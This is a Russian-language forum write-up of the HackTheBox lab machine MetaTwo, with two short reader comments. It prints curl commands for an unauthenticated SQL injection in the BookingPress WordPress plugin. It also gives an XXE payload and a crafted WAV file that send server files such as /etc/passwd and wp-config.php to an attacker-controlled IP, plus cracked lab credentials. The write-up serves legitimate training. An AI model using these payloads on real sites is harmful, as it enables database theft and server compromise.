CTF Прохождение HackTheBox - MetaTwo (Linux, Easy)

metatwo logo.png

Приветствую, Codeby! Сегодня пройдём легкую машину с HackTheBox под названием MetaTwo. Будет достаточно много текста, но зато всё максимально подробно :)

Разведка

Начинаем конечно же со сканирования портов. Используем флаг -sC, чтобы использовать стандартные скрипты, -sV, чтобы определить сервисы открытых портов и -sS, чтобы использовать TCP SYN сканирование на основе полуоткрытых соединений (для этого мы также запускаем nmap с правами суперпользователя) и опцию -oN, чтобы сохранить сканирование в файле nmap.out:

Bash:
sudo nmap -sC -sV -sS 10.10.11.186 -oN nmap.out

Pasted image 20230307204221.png


Итак, у нас есть 3 порта: 21 - ftp, 22 - ssh, 80 - http. 22 - стандартный порт в CTF, который обычно используется после взятия пользователя/рута. 80 порт тоже достаточно популярный, как правило через него проходит первоначальная эксплуатация. 21 порт - это порт FTP (File Transfer Protocol), через него мы можем выгружать и загружать файлы. Пробовал подключиться через anonymous - не вышло.

Переходим на 80 порт - http://10.10.11.86:

Pasted image 20230307204341.png


Нам требуется добавить домен metapress.htb в файл /etc/hosts, чтобы на него попасть. Для этого открываем данный файл через консольный редактор nano с правами суперпользователя:

Bash:
sudo nano /etc/hosts

И пишем туда следующую строку:

Pasted image 20230307204549.png


Теперь доступ к сайту нам открыт:

Pasted image 20230307204658.png


По оформлению можно сразу сказать, что веб-сайт использует WordPress. Перейдём на http://metapress.htb/events/. Очевидно, что тут используется какой-то плагин WordPress'а:

Pasted image 20230311044250.png


Открываем исходный код страницы, жмём CTRL+F и вбиваем wp-content/plugin - самый быстрый способ найти плагины руками без автоматизации:

Pasted image 20230311044651.png


Как можно заметить - используется Booking Press версии 1.0.10. Пробьём в гугле данный плагин:

Pasted image 20230311044711.png


Сразу же вылетают ссылки с Unauthenticated SQL Injection для данного плагина. Это то, что нам нужно, так как данных для админки WordPress'а у нас нет. показательный PoC (Proof Of Concept) данной уязвимости:

Pasted image 20230311044728.png


Согласно описанию эксплойта нам также потребуется _wpnonce. Его мы можем найти в исходном коде страницы /events/ через CTRL+F action:'bookingpress_front_get_category_services':

Pasted image 20230311045317.png


Теперь меняем в PoC'е протокол, домен, _wpnonce и отправляем наш первый запрос:

Bash:
curl -i 'http://metapress.htb/wp-admin/admin-ajax.php' --data 'action=bookingpress_front_get_category_services&_wpnonce=c4117c60cc&category_id=33&total_service=-7502) UNION ALL SELECT @@version,@@version_comment,@@version_compile_os,1,2,3,4,5,6-- -'

Pasted image 20230311045630.png


Исходя из этого можно сказать, что через 3 столбца мы можем выводить различную информацию с помощьюSQL-инъекции. Нам потребуется только один столбец. Начнём эксплуатацию стандартной UNION-Based SQL-инъекции. Для начала нужно узнать, какие есть базы данных. Используем group_concat(), чтобы сложить одно поле из разных строк (т. е. для полноценного вывода) и достаём названия БД из таблицы schemata базы данных information_schema:

Bash:
curl -i 'http://metapress.htb/wp-admin/admin-ajax.php' --data 'action=bookingpress_front_get_category_services&_wpnonce=c4117c60cc&category_id=33&total_service=-7502) UNION ALL SELECT group_concat(schema_name),null,null,1,2,3,4,5,6 from information_schema.schemata -- -'

Pasted image 20230311045822.png


Отлично, имеются две базы данных - information_schema и blog. Первая - системная, она нам понадобится только для того, чтобы узнать структуру второй (подробнее про information_schema Вы можете прочитать ).

Теперь нам нужно достать названия таблиц базы данных blog:

Bash:
curl -i 'http://metapress.htb/wp-admin/admin-ajax.php' --data "action=bookingpress_front_get_category_services&_wpnonce=c4117c60cc&category_id=33&total_service=-7502) UNION ALL SELECT group_concat(table_name),null,null,1,2,3,4,5,6 from information_schema.tables where table_schema='blog' -- -"

Pasted image 20230311050117.png


На этом этапе возникли некоторые проблемы - запрос не проходит. И основная её причина находится в where table_schema='blog'. Данный момент мог сбить новичков с толку. Дело в том, что указывать названия таблиц/баз данных можно и без кавычек. Но в таком случае нужно использовать хекс.

Открываем BurpSuite, переходим во вкладку Decoder, пишем blog. И выбираем метод энкода ASCII hex:

Pasted image 20230311050136.png


Теперь вставляем данное значение в table_schema=0x626c6f67. Не забудьте вписать перед хексом 0x:

Bash:
curl -i 'http://metapress.htb/wp-admin/admin-ajax.php' --data "action=bookingpress_front_get_category_services&_wpnonce=c4117c60cc&category_id=33&total_service=-7502) UNION ALL SELECT group_concat(table_name),null,null,1,2,3,4,5,6 from information_schema.tables where table_schema=0x626c6f67 -- -"

Pasted image 20230311050430.png


Мы получили все таблицы, которые расположены в базе данных blog. Теперь нужно получить все столбцы, которые расположены в той же базе данных и находятся в таблице wp-users (стандартная таблица WordPress, где хранятся данные о пользователях). Опять переходим в BurpSuite и энкодим в хекс wp_users:

Pasted image 20230311050644.png


В запросе указываем двойное условие, чтобы получить столбцы именно из таблицы wp_users:

Bash:
curl -i 'http://metapress.htb/wp-admin/admin-ajax.php' --data "action=bookingpress_front_get_category_services&_wpnonce=c4117c60cc&category_id=33&total_service=-7502) UNION ALL SELECT group_concat(column_name),null,null,1,2,3,4,5,6 from information_schema.columns where table_schema=0x626c6f67 and table_name=0x77705f7573657273 -- -"

Pasted image 20230311050742.png


Из этого всего нам требуется только user_login и user_pass:

Bash:
curl -i 'http://metapress.htb/wp-admin/admin-ajax.php' --data "action=bookingpress_front_get_category_services&_wpnonce=c4117c60cc&category_id=33&total_service=-7502) UNION ALL SELECT group_concat(user_login,user_pass),null,null,1,2,3,4,5,6 from wp_users -- -"


Pasted image 20230311050927.png


Получаем следующую строку:

admin$P$BGrGrgf2wToBS79i07Rk9sN4Fzk.TV.,manager$P$B4aNM28N0E.tMy\/JIcnVMZbGcU16Q70

Важно отметить, что символ \ является экранирующим, поэтому в дальнейшем его нужно будет убрать. Хэш админа у меня не получилось сбрутить, но при этом хэш пользователя manager дал результат:

Pasted image 20230311051712.png


Мы обладаем такими данными:

Код:
Имя пользователя: manager
Пароль: partylikearockstar

Переходим на wp-login.php (стандартная страница авторизации WordPress) и пробуем войти в аккаунт:

Pasted image 20230311051848.png


Авторизация прошла успешно:

Pasted image 20230311051904.png


Данный этап вызвал некоторые затруднения. Так как мы авторизовались, а вот что делать дальше - непонятно. Скорее всего нужно сканировать WordPress на уязвимости. Используем wpscan с API-токеном, который можно получить на после регистрации:

Bash:
wpscan --url http://metapress.htb --api-token <сюда API-токен>

Находим следующую вулну - XXE, которая требует авторизации:

Pasted image 20230311052144.png


Делаем пэйлоад (evil.dtd) согласно данной инструкции:

Код:
<!ENTITY % file SYSTEM "php://filter/zlib.deflate/read=convert.base64-encode/resource=/etc/passwd">
<!ENTITY % init "<!ENTITY &#37; trick SYSTEM 'http://10.10.16.52:9898/?p=%file;'>" >

И поднимаем веб-сервер PHP на 9898 порту:

Pasted image 20230311053302.png


Теперь генерируем вредоносный WAV-файл с пэйлоадом:

Bash:
echo -en 'RIFF\xb8\x00\x00\x00WAVEiXML\x7b\x00\x00\x00<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM '"'"'http://10.10.16.52:8001/evil.dtd'"'"'>%remote;%init;%trick;] >\x00'> exploit.wav

Pasted image 20230311053353.png


И загружаем его сюда:

Pasted image 20230311114918.png


После загрузки видим, что 10.10.11.186 (metapress.htb) обращается к нашему веб-серверу с GET-параметром p. В нём содержится /etc/passwd с атакуемой машины в Base64:

Pasted image 20230311054253.png


Код:
jVRNj5swEL3nV3BspUSGkGSDj22lXjaVuum9MuAFusamNiShv74zY8gmgu5WHtB8vHkezxisMS2/8BCWRZX5d1pplgpXLnIha6MBEcEaDNY5yxxAXjWmjTJFpRfovfA1LIrPg1zvABTDQo3l8jQL0hmgNny33cYbTiYbSRmai0LUEpm2fBdybxDPjXpHWQssbsejNUeVnYRlmchKycic4FUD8AdYoBDYNcYoppp8lrxSAN/DIpUSvDbBannGuhNYpN6Qe3uS0XUZFhOFKGTc5Hh7ktNYc+kxKUbx1j8mcj6fV7loBY4lRrk6aBuw5mYtspcOq4LxgAwmJXh97iCqcnjh4j3KAdpT6SJ4BGdwEFoU0noCgk2zK4t3Ik5QQIc52E4zr03AhRYttnkToXxFK/jUFasn2Rjb4r7H3rWyDj6IvK70x3HnlPnMmbmZ1OTYUn8n/XtwAkjLC5Qt9VzlP0XT0gDDIe29BEe15Sst27OxL5QLH2G45kMk+OYjQ+NqoFkul74jA+QNWiudUSdJtGt44ivtk4/Y/yCDz8zB1mnniAfuWZi8fzBX5gTfXDtBu6B7iv6lpXL+DxSGoX8NPiqwNLVkI+j1vzUes62gRv8nSZKEnvGcPyAEN0BnpTW6+iPaChneaFlmrMy7uiGuPT0j12cIBV8ghvd3rlG9+63oDFseRRE/9Mfvj8FR2rHPdy3DzGehnMRP+LltfLt2d+0aI9O9wE34hyve2RND7xT7Fw==

Декодим через PHP:

Pasted image 20230311060448.png


Подтвердили, что уязвимость работает. Теперь давайте посмотрим, что содержится в конфиге nginx'а, чтобы определить в каком каталоге лежат файлы веб-сайта (о том, что используется nginx, мы узнали на этапе сканирования портов):

Код:
<!ENTITY % file SYSTEM "php://filter/zlib.deflate/read=convert.base64-encode/resource=/etc/nginx/sites-enabled/default">
<!ENTITY % init "<!ENTITY &#37; trick SYSTEM 'http://10.10.16.52:9898/?p=%file;'>" >

Pasted image 20230311060727.png

Pasted image 20230311060759.png


Корневым каталогом веб-сервера является /var/www/metapress.htb/blog:

Pasted image 20230311060859.png


Исходя из этого мы можем прочитать конфигурационный файл WordPress'а - wp-config.php:

Код:
<!ENTITY % file SYSTEM "php://filter/zlib.deflate/read=convert.base64-encode/resource=/var/www/metapress.htb/blog/wp-config.php">
<!ENTITY % init "<!ENTITY &#37; trick SYSTEM 'http://10.10.16.52:9898/?p=%file;'>" >

Pasted image 20230311061020.png


Pasted image 20230311061053.png


В нём очень много данных:

PHP:
<?php
/** The name of the database for WordPress */
define( 'DB_NAME', 'blog' );

/** MySQL database username */
define( 'DB_USER', 'blog' );

/** MySQL database password */
define( 'DB_PASSWORD', '635Aq@TdqrCwXFUZ' );

/** MySQL hostname */
define( 'DB_HOST', 'localhost' );

/** Database Charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8mb4' );

/** The Database Collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );

define( 'FS_METHOD', 'ftpext' );
define( 'FTP_USER', 'metapress.htb' );
define( 'FTP_PASS', '9NYS_ii@FyL_p5M2NvJ' );
define( 'FTP_HOST', 'ftp.metapress.htb' );
define( 'FTP_BASE', 'blog/' );
define( 'FTP_SSL', false );

/**#@+
* Authentication Unique Keys and Salts.
* @since 2.6.0
*/
define( 'AUTH_KEY',         '?!Z$uGO*A6xOE5x,pweP4i*z;m`|.Z:X@)QRQFXkCRyl7}`rXVG=3 n>+3m?.B/:' );
define( 'SECURE_AUTH_KEY',  'x$i$)b0]b1cup;47`YVua/JHq%*8UA6g]0bwoEW:91EZ9h]rWlVq%IQ66pf{=]a%' );
define( 'LOGGED_IN_KEY',    'J+mxCaP4z<g.6P^t`ziv>dd}EEi%48%JnRq^2MjFiitn#&n+HXv]||E+F~C{qKXy' );
define( 'NONCE_KEY',        'SmeDr$$O0ji;^9]*`~GNe!pX@DvWb4m9Ed=Dd(.r-q{^z(F?)7mxNUg986tQO7O5' );
define( 'AUTH_SALT',        '[;TBgc/,M#)d5f[H*tg50ifT?Zv.5Wx=`l@v$-vH*<~:0]s}d<&M;.,x0z~R>3!D' );
define( 'SECURE_AUTH_SALT', '>`VAs6!G955dJs?$O4zm`.Q;amjW^uJrk_1-dI(SjROdW[S&~omiH^jVC?2-I?I.' );
define( 'LOGGED_IN_SALT',   '4[fS^3!=%?HIopMpkgYboy8-jl^i]Mw}Y d~N=&^JsI`M)FJTJEVI) N#NOidIf=' );
define( 'NONCE_SALT',       '.sU&CQ@IRlh O;5aslY+Fq8QWheSNxd6Ve#}w!Bq,h}V9jKSkTGsv%Y451F8L=bL' );

/**
* WordPress Database Table prefix.
*/
$table_prefix = 'wp_';

/**
* For developers: WordPress debugging mode.
* @link https://wordpress.org/support/article/debugging-in-wordpress/
*/
define( 'WP_DEBUG', false );

/** Absolute path to the WordPress directory. */
if ( ! defined( 'ABSPATH' ) ) {
define( 'ABSPATH', __DIR__ . '/' );
}

/** Sets up WordPress vars and included files. */
require_once ABSPATH . 'wp-settings.php';

Всё, что нам понадобиться - это данные от FTP:

Код:
Имя: metapress.htb
Пароль: 9NYS_ii@FyL_p5M2NvJ

Подключаемся:

Pasted image 20230311061411.png


В FTP у нас есть доступ к двум каталогам - blog и mailer. Каталог веб-сайта нам скорее всего не понадобится. Переходим в mailer и видим файл send_mail.php. Качаем его на свою машину с помощью команды mget:

Pasted image 20230311062135.png


В нём содержатся данные для пользователя jnelson:

PHP:
<?php
/*
* This script will be used to send an email to all our users when ready for launch
*/
 
use PHPMailer\PHPMailer\PHPMailer;
use PHPMailer\PHPMailer\SMTP;
use PHPMailer\PHPMailer\Exception;
 
require 'PHPMailer/src/Exception.php';
require 'PHPMailer/src/PHPMailer.php';
require 'PHPMailer/src/SMTP.php';
 
$mail = new PHPMailer(true);
 
$mail->SMTPDebug = 3;                            
$mail->isSMTP();          
 
$mail->Host = "mail.metapress.htb";
$mail->SMTPAuth = true;                        
$mail->Username = "jnelson@metapress.htb";              
$mail->Password = "Cb4_JmWM8zUZWMu@Ys";                        
$mail->SMTPSecure = "tls";                        
$mail->Port = 587;                                
 
$mail->From = "jnelson@metapress.htb";
$mail->FromName = "James Nelson";
 
$mail->addAddress("info@metapress.htb");
 
$mail->isHTML(true);
 
$mail->Subject = "Startup";
$mail->Body = "<i>We just started our new blog metapress.htb!</i>";
 
try {
   $mail->send();
   echo "Message has been sent successfully";
} catch (Exception $e) {
   echo "Mailer Error: " . $mail->ErrorInfo;
}

Подключаемся по ssh:

Код:
Имя пользователя: jnelson
Пароль: Cb4_JmWM8zUZWMu@Ys

Взятие рута

Сразу же после подключения я обнаружил интересный скрытый каталог - .passpie:

Pasted image 20230311062527.png


Тут мы можем обнаружить сообщения, где поле password зашифровано с помощью PGP:

Pasted image 20230311110557.png


А также публичные и приватные PGP-ключи (скрин не полный):

Pasted image 20230311062749.png


Имея приватный PGP-ключ, мы можем сбрутить пароль. Копируем содержимое ключа на нашу машину:

Pasted image 20230311065528.png


Используем gpg2john, чтобы привести ключ к формату для брутфорса и запускаем john the ripper со словарём rockyou.txt. Он часто используется в CTF и содержит более 14 341 564 паролей, которые ранее были раскрыты в результате утечки данных (скачать данный вордлист Вы можете тут):

Pasted image 20230311065620.png


Пароль успешно сбрутился. Теперь открываем любой сайт по дешифровке PGP и указываем сообщение, приватный ключ и пароль:

Pasted image 20230311110759.png


Получаем пароль суперпользователя - p7qfAZt4_A1xo_0x и авторизуемся в качестве root'а:

Pasted image 20230311111539.png



Друзья, большое спасибо, что дочитали до конца! Надеюсь, что Вы извлекли для себя что-то новое из этой статьи. Пишите в комментариях, если я допустил ошибки/неточности :D
 
Последнее редактирование модератором:

voixe852

One Level
07.02.2019
2
2
BIT
14
Спасибо за разбор! Я до сих пор не понимаю, как HTB выбирает уровень сложности, по мне так это не разу не easy
 
  • Нравится
Реакции: Trager
02.03.2021
561
404
BIT
263
Спасибо за разбор! Я до сих пор не понимаю, как HTB выбирает уровень сложности, по мне так это не разу не easy
если в процессе поиска флага не течет кровь из глаз, а мозг подает признаки жизни то easy
 
  • Нравится
Реакции: Trager и rootme
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!